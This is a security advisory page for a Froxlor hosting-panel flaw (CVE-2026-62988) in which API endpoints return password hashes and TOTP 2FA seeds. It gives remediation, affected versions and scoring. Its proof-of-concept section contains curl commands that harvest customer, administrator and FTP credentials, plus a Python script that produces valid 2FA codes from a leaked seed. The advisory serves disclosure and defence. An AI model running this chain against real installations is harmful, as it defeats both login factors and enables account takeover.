GHSA-7788-ghfq-c6mh CVE-2026-62988
Froxlor: Credential and 2FA secret disclosure via Froxlor API endpoints
- Severity
- 9.0 / 10
- Critical · CVSS 3.1
- Exploit chance (EPSS)
- 0.63%
- Chance of exploitation in the next 30 days. Higher than 50.07% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-200 Exposure of Sensitive Information to an Unauthorized Actor
- Fix
2.3.8- Upgrade froxlor/froxlor to this version or later
Description
Summary
Several Froxlor API command classes return sensitive authentication material in JSON API responses. The affected endpoints retrieve full database rows using SELECT *, SELECT alias.*, or equivalent full-row queries, then return the results directly through $this->response(...) without removing credential-related fields.
The exposed fields include password hashes for customers, administrators, and FTP users, as well as TOTP 2FA seed material for administrator and customer accounts.
This exposes credential-equivalent data to API clients that should not receive it. Password hashes can be cracked offline and reused for account takeover, while exposed TOTP seeds allow generation of valid 2FA codes for affected accounts. When both a password hash and TOTP seed are exposed for the same account, the vulnerability can defeat both authentication factors if the password hash is cracked or the password is otherwise obtained.
Details
The affected API classes retrieve entire database rows and return them without filtering sensitive fields:
lib/Froxlor/Api/Commands/Customers.php
Customers.get() and Customers.listing() select and return customer rows containing sensitive fields, including:
passwordtype_2fadata_2fa
When type_2fa = 2, the data_2fa value represents the Base32-encoded TOTP seed used by the customer's authenticator application.
The result is returned through $this->response($result) or $this->response(['list' => $result]) without removing these fields.
lib/Froxlor/Api/Commands/Admins.php
Admins.get() and Admins.listing() return administrator rows containing sensitive fields, including:
passwordtype_2fadata_2fa
When type_2fa = 2, the data_2fa value represents the Base32-encoded TOTP seed used by the administrator's authenticator application.
These fields are not stripped before returning the API response.
lib/Froxlor/Api/Commands/Ftps.php
Ftps.get() and Ftps.listing() return FTP user rows containing:
password
The password field is not stripped before returning the API response.
This behavior appears inconsistent with Froxlor's existing safe response patterns. For example, other API command classes explicitly remove password-related fields before returning responses. This indicates that credential material and sensitive internal fields are already treated as non-response data in other parts of the product.
Proof of Concept
Preconditions
- Froxlor API is enabled.
- A valid API key and secret exist for an account allowed to call the affected API endpoints.
- At least one customer or administrator account exists with TOTP 2FA enabled.
- For
Admins.*, the API account must have the required permission to call the affected administrator endpoint.
Set variables:
export FROXLOR_BASE='https://froxlor.example.com'
export API_KEY='<api_key>'
export API_SECRET='<api_secret>'
PoC 1: Customer password hash and TOTP seed exposure
curl -k -sS -u "$API_KEY:$API_SECRET" \
-H 'Content-Type: application/json' \
-X POST \
-d '{"command":"Customers.listing","params":{}}' \
"$FROXLOR_BASE/api.php" | jq '.data.list[] | {customerid, loginname, password, type_2fa, data_2fa, email}'
Example vulnerable response:
{
"customerid": 1,
"loginname": "customer1",
"password": "$2y$12$REDACTED_HASH_VALUE...",
"type_2fa": 2,
"data_2fa": "REDACTED_BASE32_TOTP_SEED",
"email": "customer@example.com"
}
The same issue can be verified with Customers.get:
curl -k -sS -u "$API_KEY:$API_SECRET" \
-H 'Content-Type: application/json' \
-X POST \
-d '{"command":"Customers.get","params":{"id":1}}' \
"$FROXLOR_BASE/api.php"
PoC 2: Administrator password hash and TOTP seed exposure
curl -k -sS -u "$API_KEY:$API_SECRET" \
-H 'Content-Type: application/json' \
-X POST \
-d '{"command":"Admins.listing","params":{}}' \
"$FROXLOR_BASE/api.php" | jq '.data.list[] | {adminid, loginname, password, type_2fa, data_2fa}'
Example vulnerable response:
{
"adminid": 1,
"loginname": "admin",
"password": "$2y$12$REDACTED_HASH_VALUE...",
"type_2fa": 2,
"data_2fa": "REDACTED_BASE32_TOTP_SEED"
}
The same issue can be verified with Admins.get:
curl -k -sS -u "$API_KEY:$API_SECRET" \
-H 'Content-Type: application/json' \
-X POST \
-d '{"command":"Admins.get","params":{"id":1}}' \
"$FROXLOR_BASE/api.php"
PoC 3: FTP password hash exposure
curl -k -sS -u "$API_KEY:$API_SECRET" \
-H 'Content-Type: application/json' \
-X POST \
-d '{"command":"Ftps.listing","params":{}}' \
"$FROXLOR_BASE/api.php" | jq '.data.list[] | {id, username, password}'
Example vulnerable response:
{
"id": 1,
"username": "customer1",
"password": "$2y$12$REDACTED_HASH_VALUE..."
}
The same issue can be verified with Ftps.get:
curl -k -sS -u "$API_KEY:$API_SECRET" \
-H 'Content-Type: application/json' \
-X POST \
-d '{"command":"Ftps.get","params":{"id":1}}' \
"$FROXLOR_BASE/api.php"
PoC 4: Generate a valid TOTP code from the exposed seed
If type_2fa = 2, the exposed data_2fa value can be used to generate valid TOTP codes for the affected account.
export TOTP_SEED='<base32_totp_seed_from_data_2fa>'
python3 - <<'PY'
import base64
import hashlib
import hmac
import os
import struct
import time
seed = os.environ["TOTP_SEED"].replace(" ", "").upper()
key = base64.b32decode(seed + "=" * ((8 - len(seed) % 8) % 8))
counter = int(time.time() // 30)
msg = struct.pack(">Q", counter)
digest = hmac.new(key, msg, hashlib.sha1).digest()
offset = digest[-1] & 0x0F
code = struct.unpack(">I", digest[offset:offset + 4])[0] & 0x7fffffff
print(str(code % 1000000).zfill(6))
PY
The generated six-digit value is a valid TOTP code for the affected account during the current TOTP time window.
Expected behavior
API responses should never include password hashes, TOTP seeds, or other credential-equivalent authentication material in normal get or listing responses.
At minimum, the following fields should be omitted or redacted before returning API responses:
passworddata_2fa- any future credential-equivalent secret fields
Impact
An authenticated API user can retrieve credential material for accounts visible through the affected endpoints.
For password hashes, an attacker can perform offline cracking. If a weak or reused password is recovered, the attacker can authenticate as the affected customer, administrator, or FTP user. This may lead to unauthorized access to the hosting panel, FTP file access, hosted website modification, mail or database management, and lateral movement inside a shared-hosting environment.
For TOTP 2FA seeds, an attacker can generate valid one-time codes for affected administrator or customer accounts. TOTP seeds are long-lived secrets and remain valid until 2FA is reset. Exposure of data_2fa therefore weakens or bypasses the second authentication factor for affected accounts.
The combined impact is especially severe when both password and data_2fa are exposed for the same administrator or customer account. In that case, an attacker can attempt to crack the password hash offline and then use the exposed TOTP seed to generate valid 2FA codes, defeating both factors of authentication.
Administrator credential material is particularly sensitive because compromise of an administrator account may allow privileged panel actions and access to server-level or customer-level hosting configuration. Customer and FTP credential material is also sensitive because it may allow unauthorized access to hosted content and account-specific resources.
Remediation
API responses should be built from explicit allowlists of safe response fields instead of returning full database rows. Sensitive fields such as password and data_2fa should never be included in normal get or listing responses.
As a tactical fix, remove or redact credential-equivalent fields before calling $this->response(...) in the affected API command classes.
As an architectural fix, introduce centralized response serialization for API models so that sensitive fields are consistently excluded across all endpoints. This should include password hashes, TOTP seeds, recovery secrets, API secrets, tokens, private keys, and any future authentication material.
Because TOTP seeds may have been exposed, affected installations should consider requiring 2FA reset or rotation for accounts whose data_2fa values may have been returned through vulnerable API responses.
Affected versions
Packagist
| Package | Vulnerable | Fixed in |
|---|---|---|
| froxlor/froxlor | < 2.3.8 |
2.3.8 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
froxlor/froxlor Packagist → 2.3.8
- composer
composer require froxlor/froxlor:^2.3.8
Severity breakdown
CVSS 3.1 9.0
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:L
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- High
- User interaction
- None
- Scope
- Changed
- Confidentiality
- High
- Integrity
- High
- Availability
- Low
Weakness
CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information.
How to prevent it
- Architecture and Design: Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area. Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.
References
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-xpr4-8vp6-c87j Froxlor has CSRF Vulnerability in AJAX Endpoint — Missing Cross-Site Request Forgery Protection | Medium | Also affects froxlor/froxlor |
| GHSA-5rw4-4665-cvwf Froxlor DomainZones.add allows DNS zone-file RR injection via record/type fields | Medium | Also affects froxlor/froxlor |
| GHSA-w27m-rmmf-g5w4 Froxlor: Second-Order SQL Injection via `Admins.add` `ipaddress` Parameter Allows Full Database Exfiltration | High | Also affects froxlor/froxlor |
| GHSA-43gm-9rr3-cx7g Froxlor: Stored XSS in DNS TXT Record Content Allows Customer-to-Admin Account Takeover | High | Also affects froxlor/froxlor |
| GHSA-q4rm-m6xh-5pv7 Froxlor customer can create MySQL databases on disallowed servers via Mysqls.add API | Medium | Also affects froxlor/froxlor |
| GHSA-mr9h-45p9-fg8h Froxlor: Authenticated customers can read other customers' allowed sender aliases | Medium | Also affects froxlor/froxlor |
| GHSA-f9rx-7wf7-jr36 Froxlor's API Authentication bypasses 2FA Authentication | High | Also affects froxlor/froxlor |
| GHSA-37m5-m4q3-fc6x Froxlor: BIND Zone File Injection via TXT Record Content | High | Also affects froxlor/froxlor |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor